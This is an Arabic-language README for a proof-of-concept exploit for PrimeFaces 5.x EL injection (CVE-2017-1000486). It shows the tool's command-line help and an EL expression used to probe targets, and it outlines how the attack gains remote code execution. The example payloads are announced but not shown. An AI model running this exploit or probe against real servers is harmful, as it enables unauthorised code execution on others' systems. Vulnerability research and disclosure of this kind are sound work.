
استغلال إثبات المفهوم لثغرة حقن EL في PrimeFaces 5.x (CVE-2017-1000486)
إثبات مفهوم لاستغلال حقن EL في PrimeFaces 5.x (CVE-2017-1000486)، وهي ثغرة RCE يمكن استخدامها لتحقيق تنفيذ التعليمات البرمجية عن بُعد على الهدف.
يمكنك العثور على وصف ممتاز للثغرة على مدونة Minded Security.
يوفر الاستغلال دالة مساعدة تعرض جميع المعلمات المهمة
./primefaces.py --help
PrimeFaces 5.x EL injection exploit (CVE-2017-1000486) by MOGWAI LABS
=====================================================================
usage: primefaces.py [-h] [-t] [-e EXTENSION] url [payload]
PrimeFaces 5.x EL injection exploit
positional arguments:
url The target URL (http/https)
payload File with the JavaScript (Rino/Nashorn) code to
execute or OS command
optional arguments:
-h, --help show this help message and exit
-t, --test Test mode (off by default)
-e EXTENSION, --extension EXTENSION
Extension of the target (xhtml, jsf)
يوفر الاستغلال وضع اختبار بسيط (المعامل -t) يمكن استخدامه للتحقق مما إذا كان الهدف عرضة للثغرة فعلاً. يعمل ذلك عن طريق إرسال تعبير EL التالي إلى الهدف، والذي سيضيف حقلاً إضافياً إلى ترويسة استجابة HTTP. ثم يقوم الاستغلال بفحص الترويسة:
${facesContext.getExternalContext().setResponseHeader("MOGWAILABS","CHKCHK")}
يعمل الاستغلال الفعلي عن طريق استدعاء مفسّر جافا سكريبت المرفق مع آلة جافا الافتراضية. وهذا يسمح بتنفيذ أكواد جافا عشوائية من جافا سكريبت.
يوفر الاستغلال حمولتين مثاليتين:
يرجى ملاحظة أن أياً من هذه الأمثلة لن يوفر لك مخرجات الأمر.